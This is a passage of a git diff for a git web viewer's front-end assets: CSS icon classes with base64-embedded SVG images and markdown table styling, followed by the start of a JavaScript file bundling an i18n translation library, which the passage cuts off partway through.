				<text transform="rotate(27.728)" x="95.505783" y="109.31522" fill="#80b3ff" font-size="10.776px" stroke-width="1.347" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="95.505783" y="109.31522" fill="#80b3ff" stroke-width="1.347">/</tspan></text>
				<text transform="rotate(27.728)" x="97.247116" y="108.8501" fill="#00ff00" font-size="13.104px" stroke-width="1.638" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="97.247116" y="108.8501" fill="#00ff00" stroke-width="1.638">-</tspan></text>
			</g>
			<path d="m35.571 138.24-0.11655-0.05 0.45579-0.86711 0.46668 0.22147 0.0482-0.0462-0.53195-0.25577-0.53327 0.96919 0.1767 0.1166z" fill="#08a"/>
			<path d="m35.57 137.14-0.74874 0.67741-0.098-0.0628 0.7625-0.6583z" fill="#a40"/>
		</g>
	</g>
</svg>");
+        width:0px;
+        height:0px;
+        padding:0.7em 0.8em 0.7em 0.8em;
+        vertical-align:middle;
+	margin-right: 0.5em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+img.patch {
+	display: inline-block;
+        background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA0Ny4yODQwNjUgMzkuMjg2Mjc4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYSIgeD0iLS4xODM4MSIgeT0iLS41OTM3NSIgd2lkdGg9IjEuMzY3NiIgaGVpZ2h0PSIyLjE4NzUiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuMDY4MzkyNyIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMTU0MzYiIHk9Ii0uMDc1MDY3IiB3aWR0aD0iMS4zMDg3IiBoZWlnaHQ9IjEuMTUwMSIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMS4wNjgzOTI3Ii8+CgkJPC9maWx0ZXI+CgkJPGZpbHRlciBpZD0iYyIgeD0iLS4wODg5OSIgeT0iLS4wODYyMDkiIHdpZHRoPSIxLjE3OCIgaGVpZ2h0PSIxLjE3MjQiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuMDY4MzkyNyIvPgoJCTwvZmlsdGVyPgoJPC9kZWZzPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEwMS44NSAtMTM3LjUxKSI+CgkJPGcgZmlsbD0iIzAwMDAwMCIgZm9udC1mYW1pbHk9IidPcGVuIFNhbnMnIiBsZXR0ZXItc3BhY2luZz0iMHB4IiBzdHJva2U9IiMwMDAwMDAiIHN0cm9rZS13aWR0aD0iMS4yIiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB3b3JkLXNwYWNpbmc9IjBweCI+CgkJCTx0ZXh0IHg9IjExOC44NjIxMyIgeT0iMTc4LjA4NjU4IiBmaWx0ZXI9InVybCgjYykiIGZvbnQtc2l6ZT0iNjEuNDA2cHgiIHRleHQtYWxpZ249ImNlbnRlciIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iMTE4Ljg2MjEzIiB5PSIxNzguMDg2NTgiIGZpbGw9IiMwMDAwMDAiIHN0cm9rZT0iIzAwMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjIiPis8L3RzcGFuPjwvdGV4dD4KCQkJPHRleHQgeD0iMTMxLjg3MzE1IiB5PSIxNzQuMjI3OCIgZmlsdGVyPSJ1cmwoI2IpIiBmb250LXNpemU9IjQ3Ljg0OXB4IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250LWZlYXR1cmUtc2V0dGluZ3M6bm9ybWFsO2ZvbnQtdmFyaWFudC1jYXBzOm5vcm1hbDtmb250LXZhcmlhbnQtbGlnYXR1cmVzOm5vcm1hbDtmb250LXZhcmlhbnQtbnVtZXJpYzpub3JtYWw7bGluZS1oZWlnaHQ6MS4yNSIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHRzcGFuIHg9IjEzMS44NzMxNSIgeT0iMTc0LjIyNzgiIGZpbGw9IiMwMDAwMDAiIHN0cm9rZT0iIzAwMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjIiPi88L3RzcGFuPjwvdGV4dD4KCQkJPHRleHQgeD0iMTM5LjYwNTEyIiB5PSIxNzIuMTYyNTciIGZpbHRlcj0idXJsKCNhKSIgZm9udC1zaXplPSI1OC4xODdweCIgdGV4dC1hbGlnbj0iY2VudGVyIiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSIxMzkuNjA1MTIiIHk9IjE3Mi4xNjI1NyIgZmlsbD0iIzAwMDAwMCIgc3Ryb2tlPSIjMDAwMDAwIiBzdHJva2Utd2lkdGg9IjEuMiI+LTwvdHNwYW4+PC90ZXh0PgoJCTwvZz4KCQk8ZyBmb250LWZhbWlseT0iJ09wZW4gU2FucyciIGxldHRlci1zcGFjaW5nPSIwcHgiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4Ij4KCQkJPHRleHQgeD0iMTE4LjU4MTQ1IiB5PSIxNzcuNjU4NDkiIGZpbGw9IiNmZjAwMDAiIGZvbnQtc2l6ZT0iNjEuNDA2cHgiIHN0cm9rZS13aWR0aD0iNy42NzU3IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250LWZlYXR1cmUtc2V0dGluZ3M6bm9ybWFsO2ZvbnQtdmFyaWFudC1jYXBzOm5vcm1hbDtmb250LXZhcmlhbnQtbGlnYXR1cmVzOm5vcm1hbDtmb250LXZhcmlhbnQtbnVtZXJpYzpub3JtYWw7bGluZS1oZWlnaHQ6MS4yNSIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHRzcGFuIHg9IjExOC41ODE0NSIgeT0iMTc3LjY1ODQ5IiBmaWxsPSIjZmYwMDAwIiBzdHJva2Utd2lkdGg9IjcuNjc1NyI+KzwvdHNwYW4+PC90ZXh0PgoJCQk8dGV4dCB4PSIxMzEuNTkyNDciIHk9IjE3My43OTk3IiBmaWxsPSIjODBiM2ZmIiBmb250LXNpemU9IjQ3Ljg0OXB4IiBzdHJva2Utd2lkdGg9IjUuOTgxMiIgdGV4dC1hbGlnbj0iY2VudGVyIiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSIxMzEuNTkyNDciIHk9IjE3My43OTk3IiBmaWxsPSIjODBiM2ZmIiBzdHJva2Utd2lkdGg9IjUuOTgxMiI+LzwvdHNwYW4+PC90ZXh0PgoJCQk8dGV4dCB4PSIxMzkuMzI0NDMiIHk9IjE3MS43MzQ0NyIgZmlsbD0iIzAwZmYwMCIgZm9udC1zaXplPSI1OC4xODdweCIgc3Ryb2tlLXdpZHRoPSI3LjI3MzQiIHRleHQtYWxpZ249ImNlbnRlciIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iMTM5LjMyNDQzIiB5PSIxNzEuNzM0NDciIGZpbGw9IiMwMGZmMDAiIHN0cm9rZS13aWR0aD0iNy4yNzM0Ij4tPC90c3Bhbj48L3RleHQ+CgkJPC9nPgoJCTxwYXRoIGQ9Im0xMzIuOTIgMTU4LjI3LTAuNTYxMjYgMC4wNDY4di00LjM0OThsMi4yOTE4LTAuMDkzNSAwLjA5MzUtMC4yODA2My0yLjYxOTIgMC4wOTM1LTAuMDkzNSA0LjkxMTEgMC45MzU0NCAwLjA5MzV6IiBmaWxsPSIjMDhhIi8+CgkJPHBhdGggZD0ibTEzMC42MyAxNTMuOTItMS41NDM1IDQuMjA5NS0wLjUxNDUtMC4wNDY4IDEuNjM3LTQuMTYyN3oiIGZpbGw9IiNhNDAiLz4KCTwvZz4KPC9zdmc+");
+        width:0px;
+        height:0px;
+        padding:0.5em 0.6em 0.5em 0.6em;
+        vertical-align:middle;
+	margin-right: 0.3em;
+	cursor:pointer;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+img.summary {
+	display: inline-block;
+        background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA1MS4yMzY4ODEgNTEuMjM2ODY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYSIgeD0iLS4wNTA0IiB5PSItLjA1MDQiIHdpZHRoPSIxLjEwMDgiIGhlaWdodD0iMS4xMDA4IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIxLjQ0MTgxNDQiLz4KCQk8L2ZpbHRlcj4KCTwvZGVmcz4KCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02OC40NiAtMTc3LjMpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KC42Nzc5MyAwIDAgLjY3NzkzIC0yNTcuNDMgLTM4LjQzNikiIGQ9Im01MTguNTEgMzIxLjY5YTM0LjMyOSAzNC4zMjkgMCAwIDAgLTM0LjMyOSAzNC4zMjkgMzQuMzI5IDM0LjMyOSAwIDAgMCAzNC4zMjkgMzQuMzI5IDM0LjMyOSAzNC4zMjkgMCAwIDAgMzQuMzI5IC0zNC4zMjkgMzQuMzI5IDM0LjMyOSAwIDAgMCAtMzQuMzI5IC0zNC4zMjl6bS0wLjM0NTIgMTEuNjQ1YTIyLjc5OSAyMi43OTkgMCAwIDEgMjIuNzk5IDIyLjc5OSAyMi43OTkgMjIuNzk5IDAgMCAxIC0yMi43OTkgMjIuOCAyMi43OTkgMjIuNzk5IDAgMCAxIC0yMi44IC0yMi44IDIyLjc5OSAyMi43OTkgMCAwIDEgMjIuOCAtMjIuNzk5eiIgZmlsdGVyPSJ1cmwoI2EpIiBzdHJva2Utd2lkdGg9IjIiLz4KCQk8cGF0aCBkPSJtOTMuNTc4IDE3OS4wMWEyMy4yNzMgMjMuMjczIDAgMCAwIC0yMy4yNzIgMjMuMjcyIDIzLjI3MyAyMy4yNzMgMCAwIDAgMjMuMjcyIDIzLjI3MyAyMy4yNzMgMjMuMjczIDAgMCAwIDIzLjI3MyAtMjMuMjczIDIzLjI3MyAyMy4yNzMgMCAwIDAgLTIzLjI3MyAtMjMuMjcyem0tMC4yMzQwMiA3Ljg5NDNhMTUuNDU2IDE1LjQ1NiAwIDAgMSAxNS40NTYgMTUuNDU2IDE1LjQ1NiAxNS40NTYgMCAwIDEgLTE1LjQ1NiAxNS40NTcgMTUuNDU2IDE1LjQ1NiAwIDAgMSAtMTUuNDU3IC0xNS40NTcgMTUuNDU2IDE1LjQ1NiAwIDAgMSAxNS40NTcgLTE1LjQ1NnoiIGZpbGw9IiNlNmU2ZTYiIGZpbGwtb3BhY2l0eT0iLjk3MTA3IiBzdHJva2Utd2lkdGg9Ii44MTM1MSIvPgoJPC9nPgo8L3N2Zz4=");
+        width:0px;
+        height:0px;
+        padding:0.7em;
+        vertical-align:middle;
+	margin-right: 0.5em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+img.rawpatch {
+	display: inline-block;
+        background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMS4xNDY2NzQgNS41MzM2MDI3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoNzUuMTIxIC0xNTAuNikiPgoJCTxwYXRoIGQ9Im0tNzUuMDA3IDE1NS40NGMwLjM0Njk4IDAuODMxNTIgMS40MDA4IDAuNzc5MjcgMi4xMTY1IDAuNTQ2MTIgMC45MDE5OS0wLjI5NjQxIDEuNzk2Ni0wLjYyNTczIDIuNjYwMS0wLjk3MzgzIDAuNzA4MzUtMC4wMTIyIDEuMzY3MS0wLjI0MDYxIDEuOTk0Ni0wLjU1NzIyIDAuNjYyNC0wLjQyNjA3IDEuMjgyOS0wLjg3Nzg5IDIuMDU1My0xLjA5NzEgMC43MDI3MS0wLjM1NzkyIDEuNjI4Ny0wLjUwNzk1IDIuMDY4Ni0xLjIxMzQgMC4zNjIwNC0wLjYzNDE0LTAuMDU1MjMtMC44NTE0Ny0wLjQ4OTE1LTAuMzY2Ny0yLjQyODIgMC45MzAxLTQuODA3MiAxLjk5NzYtNy4yMTY1IDIuOTc2NC0xLjA2MzIgMC4yMjg2LTIuMTI2NCAwLjQ1NzIxLTMuMTg5NiAwLjY4NTgyeiIgZmlsbC1vcGFjaXR5PSIuMzU5NSIvPgoJCTxwYXRoIGQ9Im0tNzQuMjY3IDE1My44NCAyLjI2ODQtMC43OTUxM2MwLjI4MDg0LTAuNDU0OTIgMC45MTM5OS0wLjg0OTU0IDEuNDA5OC0xLjAwMDEgMC40ODM4LTAuMTgxNzEgMS4yMTU4LTAuMzgzMDcgMS43MTAxLTAuNTI1NTkgMC42NzMzLTAuMDM5NSAwLjg0MzE0LTAuMjEzMzcgMS40ODY3LTAuMzg2OTIgMC40ODIzNi0wLjEyOTcyIDEuNDE3NS0wLjQ3NDczIDEuOTE0NC0wLjUyMzI4IDAuNTUzODEtMC4wMjIyIDAuNzA0NzQgMC4wNDQ2IDEuMTY4NiAwLjQwODQ5IDAuMjg5NTIgMC4zMzg5MyAwLjI4OTI5IDEuMDEyMS0wLjA5MjkzIDEuMzE2Mi0wLjMzNDUyIDAuNDY0MDMtMC45NjU4OSAwLjUxNTI4LTEuNDQyNCAwLjc3ODg1LTAuNTAwMTUgMC4yMTEyOC0xLjAwMDMgMC40MjI1NS0xLjUwMDUgMC42MzM4Mi0wLjIyNjYxLTAuMDc3LTAuNDQ0NDktMC4wODgxLTAuNjU2MzItMC4wNTctMC44ODk5IDAuMjYxNTgtMi4wNTA3IDAuNTUwMjItMi41NDIgMS4wODA1LTAuMzA3MTQgMC40NjQ1Ni0wLjg1ODk2IDAuNTM2MTYtMS4zNDUgMC43MDUxMS0wLjQ5MzgxIDAuMTUyNjYtMC45NzY4NyAwLjM1MzQ2LTEuNDcwNyAwLjQ5NTU0LTAuNjk4MzUgMC4wNzU2LTEuMTc5NCAwLjE1MDc0LTEuNzA4LTAuNjA0NDYtMC4xMzA5My0wLjUzMDg3LTAuMDIwNjItMC45Mzc1NiAwLjI4NTI5LTEuMjY4OHoiIGZpbGw9IiNmZmFkOGMiLz4KCQk8cGF0aCBkPSJtLTcwLjU3NiAxNTQuOTFjMC41MDgyOC0wLjU3ODYzIDEuMy0wLjc0NjUxIDEuOTkzLTEuMDAxNSAwLjI1MTk5LTAuMDUzOSAwLjkxMDgxLTAuMzY3ODIgMC45Mzk5NSAwLjA0MDItMC4yMTI4NCAwLjMzODIzLTAuNjY5MzkgMC4zOTk1Ni0xLjAwOTkgMC41NjI4NS0wLjU1NDcgMC4xNzU4Ni0xLjExMzkgMC4zNTg4MS0xLjY4NyAwLjQ1OTMtMC4wODIyNCA0ZS0zIC0wLjE2Nzc5LTAuMDEyOC0wLjIzNjExLTAuMDYwOXoiIGZpbGw9IiNmZmY2ZDUiLz4KCQk8ZyBmaWxsPSIjNTM1ZDVmIiBmaWxsLW9wYWNpdHk9Ii4xNzM1NSI+CgkJCTxwYXRoIGQ9Im0tNzIuMzYyIDE1My4xOCAxLjA3NDkgMi4wNjcgMC4zMzA3My0wLjA5OTIgMC4yNDgwNS0wLjE2NTM2IDAuMTk4NDQtMC4yNjQ1OCAwLjI0ODA1LTAuMjE0OTggMC4yNjQ1OC0wLjE0ODgzLTEuMTI0NS0yLjExNjctMC4yNDgwNSAwLjIxNDk3LTAuMzYzOCAwLjI2NDU5LTAuMTQ4ODMgMC4xNjUzNi0wLjA5OTIyIDAuMTY1MzZ6Ii8+CgkJCTxlbGxpcHNlIGN4PSItNzQuMzM4IiBjeT0iMTU0LjU2IiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJCTxlbGxpcHNlIGN4PSItNzMuNzI2IiBjeT0iMTU0Ljc2IiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJCTxlbGxpcHNlIGN4PSItNzMuMDgxIiBjeT0iMTU1LjAzIiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJCTxlbGxpcHNlIGN4PSItNzIuNDQ0IiBjeT0iMTU1LjMiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03NC4yNzkiIGN5PSIxNTUuMTIiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03My42ODIiIGN5PSIxNTUuMzUiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03My43MDYiIGN5PSIxNTQuMDUiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03My4xMDkiIGN5PSIxNTQuMjciIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03Mi41MTMiIGN5PSIxNTQuNjIiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03MS44MjMiIGN5PSIxNTQuOTkiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03Mi41NzEiIGN5PSIxNTMuOTUiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii02Ny42NDkiIGN5PSIxNTEuNzkiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii02Ni45MjEiIGN5PSIxNTIuMDUiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii02Ni4xMjciIGN5PSIxNTIuNCIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY2LjgwNSIgY3k9IjE1MS40NiIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY2LjAyOCIgY3k9IjE1MS42NSIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY1LjM2NyIgY3k9IjE1Mi4xMiIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY2Ljc3MiIgY3k9IjE1Mi42OCIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY3LjY5OCIgY3k9IjE1Mi40NSIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY1Ljk3OCIgY3k9IjE1MS4xMSIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY1LjA4NSIgY3k9IjE1MS40MSIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY0LjcyMiIgY3k9IjE1Mi4wMiIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY1LjM1IiBjeT0iMTUwLjg5IiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJCTxlbGxpcHNlIGN4PSItNjcuMjUyIiBjeT0iMTUzLjE5IiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNjkuNTE3IDE1Mi4yNSAwLjM4MDM0IDAuMDE2NS0wLjEzMjI5IDAuMzQ3MjdjMC4wMzE3IDAuMDk5MyAwLjA1OTM0IDAuMTY4NCAwLjE1NDI0IDAuMjIxOSAwLjIzODU1IDAuMTM0NDggMC42NDY1LTAuMTEwNzkgMC42NjQ5MyAwLjA1NzktMC4xMjAyOSAwLjA3NjktMC4xOTczNyAwLjIzODQtMC4zMzk2NiAwLjMzMTk4LTAuMjc3IDAuMTgyMTctMC41ODE4MSAwLjM1NzQ0LTAuODYwNCAwLjM3NTU1LTAuNDIwOTEgMC4wNDE2LTAuOTU2MzItMC4zOTk3MS0wLjU0MTI4LTAuNzg0NDUgMC4xODM0Ni0wLjIzNDE5IDAuNDQwOTUtMC4zODkwMyAwLjY3NDEyLTAuNTY2N3oiIGZpbGw9IiM2Yjc0NzMiIGZpbGwtb3BhY2l0eT0iLjI0MzgiLz4KCQk8ZyBmaWxsPSJub25lIiBzdHJva2U9IiM4MDY2MDAiIHN0cm9rZS1vcGFjaXR5PSIuMzAxNjUiIHN0cm9rZS13aWR0aD0iLjAyIj4KCQkJPHBhdGggZD0ibS02OS44NjUgMTUyLjczYzAuMDM5OTYgMC4wMTI0IDAuMDc5OTMgMC4wMjQ4IDAuMTE5ODkgMC4wMzcyIDAuMDY4NTYgMC4wMzk5IDAuMTEwNzkgMC4xMzIzNCAwLjA2NDg3IDAuMjAzNDYtMC4wMDE1IDVlLTMgOS41M2UtNCAwLjAxMDUgMC4wMDEzIDAuMDE1OCIvPgoJCQk8cGF0aCBkPSJtLTY5LjU0OCAxNTMuMTFjMC4wMzk5NiAwLjAxMjQgMC4wNzk5MyAwLjAyNDggMC4xMTk4OSAwLjAzNzIgMC4wNjg1NiAwLjAzOTkgMC4xMTA3OSAwLjEzMjM0IDAuMDY0ODcgMC4yMDM0Ni0wLjAwMTUgNWUtMyA5LjUyZS00IDAuMDEwNSAwLjAwMTMgMC4wMTU4Ii8+CgkJCTxwYXRoIGQ9Im0tNzAuMTIgMTUzLjE0Yy0wLjAwMTYgMC4wNDE4LTAuMDAzMiAwLjA4MzYtMC4wMDQ4IDAuMTI1NDQgMC4wMTQ4IDAuMDc3OSAwLjA4NzkyIDAuMTQ4NTEgMC4xNzAyNyAwLjEyODg5IDAuMDA1MiAyLjVlLTQgMC4wMDk2IDRlLTMgMC4wMTQ0NyA2ZS0zIi8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNzIuMTE1IDE1My4wOCAxLjA5OTEgMi4xMTY0IDAuMjEwNDgtMC4xNjM3IDAuMTE2OTMtMC4xMDUyNC0xLjE0NTktMi4xMzk4LTAuMTA1MjQgMC4xODcwOS0wLjA0Njc3IDAuMDU4NXoiIGZpbGw9IiM2Yjc0NzMiIGZpbGwtb3BhY2l0eT0iLjI0MzgiLz4KCQk8cGF0aCBkPSJtLTcwLjAyOCAxNTMuMTggMC4wOTkzOS0wLjAyOTIgMC4wNTg0NyAwLjAyOTIgMC4wMDU4IDAuMDUyNi0wLjAxNzU0IDAuMDU4NS0wLjAyMzM5IDAuMDM1MS0wLjA0MDkzIDZlLTMgMC4wMTE2OS0wLjA1MjYtMC4wNTI2MiAwLjAzNTEtMC4wNTg0Ni0wLjA0MDkgMC4wNTg0Ni0wLjAzNTEtMC4wNDA5Mi02ZS0zeiIgZmlsbD0iIzgwODA4MCIgZmlsbC1vcGFjaXR5PSIuMTQ4NzYiLz4KCTwvZz4KPC9zdmc+");
+        width:0px;
+        height:0px;
+        padding:0.6em 1.2em;
+        vertical-align:middle;
+	margin-right: 0.1em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+/* showdown css */
+
+#do-showdown pre {
+	background-color: #f0f6fa;
+	font-size: 100%;
+	overflow:auto;
+	padding:10px;
+	line-height: 140%;
+}
+
+#do-showdown code {
+	padding: 0.22em 0.45em;
+	background-color: #f0f6fa;
+	font-size: 100%;
+	overflow:auto;
+	line-height: 100%;
+	border-radius: 4px;
+}
+
+#do-showdown tbody tr:nth-child(even) {
+	background-color: #eef3f8;
+	box-sizing: border-box;
+	overflow:auto;
+	word-wrap:break-word;
+}
+
+#do-showdown tbody tr:nth-child(odd) {
+	background-color: #f4fafe;
+	box-sizing: border-box;
+	overflow:auto;
+	word-wrap:break-word;
+}
+
+#do-showdown thead {
+	display: table-header-group;
+	padding: 6px 13px;
+	background-color: #e0e6ea;
+	box-sizing: border-box;
+	overflow:auto;
+	word-wrap:break-word;
+}
+
+#do-showdown td {
+	padding: 6px 13px;
+	border: 1px solid #d7e0d0;
+	box-sizing: border-box;
+	overflow:auto;
+	word-wrap:break-word;
+}
+
+div.hidden-tiger {
+        display:none
+}
diff --git a/assets/jg2.js b/assets/jg2.js
new file mode 100644
index 0000000..562c32a
--- /dev/null
+++ b/assets/jg2.js
@@ -0,0 +1,2294 @@
+/* gitws.js: javascript functions for gitws
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ */
+
+/* http://i18njs.com/ this from http://i18njs.com/js/i18n.js */
+(function() {
+  var Translator, i18n, translator,
+    __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; };
+
+  Translator = (function() {
+    function Translator() {
+      this.translate = __bind(this.translate, this);      this.data = {
+        values: {},
+        contexts: []
+      };
+      this.globalContext = {};
+    }
+
+    Translator.prototype.translate = function(text, defaultNumOrFormatting, numOrFormattingOrContext, formattingOrContext, context) {
+      var defaultText, formatting, isObject, num;
+
+      if (context == null) {
+        context = this.globalContext;
+      }
+      isObject = function(obj) {
+        var type;
+
+        type = typeof obj;
+        return type === "function" || type === "object" && !!obj;
+      };
+      if (isObject(defaultNumOrFormatting)) {
+        defaultText = null;
+        num = null;
+        formatting = defaultNumOrFormatting;
+        context = numOrFormattingOrContext || this.globalContext;
+      } else {
+        if (typeof defaultNumOrFormatting === "number") {
+          defaultText = null;
+          num = defaultNumOrFormatting;
+          formatting = numOrFormattingOrContext;
+          context = formattingOrContext || this.globalContext;
+        } else {
+          defaultText = defaultNumOrFormatting;
+          if (typeof numOrFormattingOrContext === "number") {
+            num = numOrFormattingOrContext;
+            formatting = formattingOrContext;
+            context = context;
+          } else {
+            num = null;
+            formatting = numOrFormattingOrContext;
+            context = formattingOrContext || this.globalContext;
+          }
+        }
+      }
+      if (isObject(text)) {
+        if (isObject(text['i18n'])) {
+          text = text['i18n'];
+        }
+        return this.translateHash(text, context);
+      } else {
+        return this.translateText(text, num, formatting, context, defaultText);
+      }
+    };
+
+    Translator.prototype.add = function(d) {
+      var c, k, v, _i, _len, _ref, _ref1, _results;
+
+      if ((d.values != null)) {
+        _ref = d.values;
+        for (k in _ref) {
+          v = _ref[k];
+          this.data.values[k] = v;
+        }
+      }
+      if ((d.contexts != null)) {
+        _ref1 = d.contexts;
+        _results = [];
+        for (_i = 0, _len = _ref1.length; _i < _len; _i++) {
+          c = _ref1[_i];
+          _results.push(this.data.contexts.push(c));
+        }
+        return _results;
+      }
+    };
+
+    Translator.prototype.setContext = function(key, value) {
+      return this.globalContext[key] = value;
+    };
+
+    Translator.prototype.clearContext = function(key) {
+      return this.lobalContext[key] = null;
+    };
+
+    Translator.prototype.reset = function() {
+      this.data = {
+        values: {},
+        contexts: []
